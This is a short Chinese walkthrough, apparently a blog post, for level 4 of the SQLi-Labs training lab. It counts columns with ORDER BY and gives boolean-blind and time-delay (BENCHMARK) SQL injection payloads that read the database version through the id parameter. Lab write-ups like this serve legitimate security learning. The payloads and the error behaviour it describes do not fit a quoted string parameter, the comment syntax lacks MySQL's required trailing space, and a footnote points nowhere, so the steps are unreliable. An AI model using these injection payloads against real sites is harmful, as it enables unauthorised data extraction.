sqli-labs关卡之一（两种做法）

### SQLi-Labs 第四关解决方案 在 SQLi-Labs 的第四关中，目标是通过 SQL 注入来获取隐藏的信息。此关卡涉及使用 `ORDER BY` 来猜测表中的列数。 当尝试不同的数值时，可以发现： - 使用 `?id=1 order by 3--` 页面显示正常[^3]， - 而使用 `?id=1 order by 4--` 则会报错， 这表明该查询的结果集中有三列而不是四列。因此，在构建注入语句时应基于存在三个字段的情况来进行操作。 为了进一步探索并最终解决问题，建议采用如下方法之一： #### 方法一：布尔盲注 如果页面对于错误的响应不同，则可以通过逐位猜解的方式读取数据。例如，假设要检索版本号的第一字符是否小于等于某个值： ```sql ?id=1 AND ASCII(SUBSTRING(@@version,1,1))<=50-- ``` #### 方法二：时间延迟攻击 利用条件判断配合延时函数使服务器响应变慢作为反馈机制： ```sql ?id=1 AND IF(ASCII(SUBSTRING(@@version,1,1))>50,BENCHMARK(5000000,ENCODE('A','B')),NULL)-- ``` 以上两种方式均能有效绕过简单的防护措施实现信息泄露的目的。不过具体实施过程中还需考虑实际环境特点灵活调整策略。